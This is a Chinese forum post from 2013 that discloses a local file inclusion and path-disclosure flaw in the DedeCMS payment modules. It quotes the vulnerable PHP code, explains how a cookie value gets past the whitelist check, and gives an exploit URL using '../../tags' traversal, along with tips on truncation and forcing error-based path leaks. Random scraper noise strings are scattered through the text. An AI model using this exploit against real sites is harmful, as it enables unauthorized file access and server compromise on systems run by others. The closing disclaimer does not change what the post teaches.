找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1977|回复: 0
打印 上一主题 下一主题

dedecms本地文件包含及物理路径泄露0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:25:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)
) S1 l1 F. |0 K; h: D
, h% B3 I+ G6 e. }# O: K出现漏洞的两个文件为:3 P2 ~( r* P6 d5 U8 r9 ]7 h4 K8 d
Include/payment/alipay.php
: h) ?! a; i5 c; AInclude/payment/yeepay.php9 T: e; e( Z0 O& i% B4 q
漏洞均出现在respond方法里,估计这两个文件是临时工写的。
4 g; B3 l2 h& e) X7 n8 H1 a
4 Z, z, ?& c8 g9 k2 mInclude/payment/alipay.php
$ ?1 I7 R7 o+ J6 [) L- S* f/ h9 m1 g- ~; [9 l
......1 T3 F* B0 U- i/ d! f5 P
   function respond()
! T, U; V/ M- L. D) z; M% }' }; m( B    {5 e/ f8 ^* X. F" O, R8 F
        if (!empty($_POST))
% K& e( K; S6 X. d  f        {
' T! h1 a7 b. {            foreach($_POST as $key => $data)9 I( N; Z  c  `, ^' Y$ y
            {) p3 K( A# l6 C& @) O4 r
                $_GET[$key] = $data;
5 P1 k' [# D0 t# ~  R            }% W! C: j( s: c0 b) c
        }' E9 t2 d2 F: ?5 }' c$ Z* E5 H
        /* 引入配置文件 */
/ d* }1 i+ F% [        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';9 e( P8 R; T4 s: H0 o' T
...... ) S( n! J6 X  e- L7 R5 O( {2 k

8 i1 q5 c" C3 L6 E0 S! \7 C' o2 v8 x6 D* [
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。. s) D- d& R' L
0 E* \1 }& g% N6 N9 h$ u# \
Include/payment/yeepay.php
% T% \0 ~7 {$ Z" q2 f6 R. x- T5 P1 |& Y9 ^3 L1 H

; g- j5 S; w5 o5 W  P, n2 g8 w5 S
......* Q- e% f1 Z. A9 Z
    function respond()
- C- q9 a) r4 {6 ]5 f    {. q5 d3 Q+ Q4 |' v% H
9 |/ o% |( C$ t5 t7 G
        /* 引入配置文件 */9 M% h$ }3 M5 Q) ~6 ]
        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';# m" n- J, @. E
" U" z& K4 Q2 w$ v
        $p1_MerId = trim($payment['yp_account']);
$ n0 v" T( X3 y( R. l8 I        $merchantKey = trim($payment['yp_key']);" H4 @% ^- ]3 p# M9 ~4 L
...... # X/ F% \. K. C% {" b3 ^
; P. A! B8 S/ f$ ]4 b7 [

* n6 ^* Q% `2 m- a4 i7 B% P 7 M1 o7 n1 l; U8 d/ c

$ c7 f9 t; J  o7 ?# K+ e大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
# s1 Y' l' I) E' {$ k8 c3 b& Y9 p, `) l) n, f% F# J9 ?
这两个方法在plus/carbuyaction.php文件调用。
  `8 h1 S! ]% I% n& h4 ^. y" ]9 B0 H9 M) A6 U
plus/carbuyaction.php3 w- U3 O8 f+ K, H
! ]5 H# S. ~* F. q, c" Y1 p
......
6 e+ G+ a( c4 d3 M% \: O1 Z} else if ($dopost == 'return') {
. B; `4 S& H  c+ d0 A" O    $write_list = array('alipay', 'bank', 'cod', 'yeepay');: F) u. F$ h+ |2 W( S
    if (in_array($code, $write_list))
# d! v3 N: p4 y' k    {% m+ H4 _$ l& ^" f( L( [- h
        require_once DEDEINC.'/payment/'.$code.'.php';& y* u  J% x# z- @
        $pay = new $code;
* ^. _3 l0 [( d6 J; E. y: O        $msg=$pay->respond();$ I1 V9 V, _2 s4 h. s
        ShowMsg($msg, "javascript:;", 0, 3000);2 {: i' n+ f8 ]+ q6 a' L+ P
        exit();  
7 V7 m8 ]/ a: }: L1 [    } else {
7 |* @: e9 V7 \5 O1 x        exit('Error:File Type Can\'t Recognized!');1 {% ]0 L' |! |, L- c8 ?
    }2 H: I+ U6 N) [9 k
}
6 f: j' B9 C8 o) Y: _...... ( R' k( _/ |( u+ T1 e, }9 `2 W: ~% p; `

! T4 j( b" r: a6 |
/ A& H; ?7 E& C* p9 e ' D8 L) x: F- |  c8 o7 F
5 T/ D' K  ]) b& y+ S- o

& g" U& p. Z8 @) L' Z) R
9 V5 `9 k) y0 Z" u! R5 k5 [* [  S大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。# j2 l1 m* B6 Y1 S3 J! |
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
. q, |! ]# [& M5 {$ F2 ]+ |8 c' E" H) |( H2 g
回到include/common.inc.php来看看他的机制。! K9 G. P1 L! f6 C# A9 T1 a

; K. C/ e6 L- u* c * l" W+ a9 f% g3 I7 J$ \
3 j, Q, x. f, D4 d/ p* R
......
) h+ r. X5 M2 kforeach(Array('_GET','_POST','_COOKIE') as $_request)( u4 m) ^% N5 N8 Z# W3 k
{
0 a% f4 r  c' b5 E        foreach($$_request as $_k => $_v)
/ a/ ?) i4 K; a% H8 e" O        {
& G: [/ R1 J9 [+ l4 C                if($_k == 'nvarname') ${$_k} = $_v;
) x3 U4 ]' \6 E; i8 ~1 e3 c! Y                else ${$_k} = _RunMagicQuotes($_v);5 n9 i4 [1 v* F3 c% t" s5 s
        }" i0 Y& ^! c# a/ z! @1 B0 s) I  I/ _
}
2 X: d  G0 b2 F6 @! |& b...... 2 j" O$ }! z5 I% l0 ^
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
  ?8 j# N9 E9 E, l由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表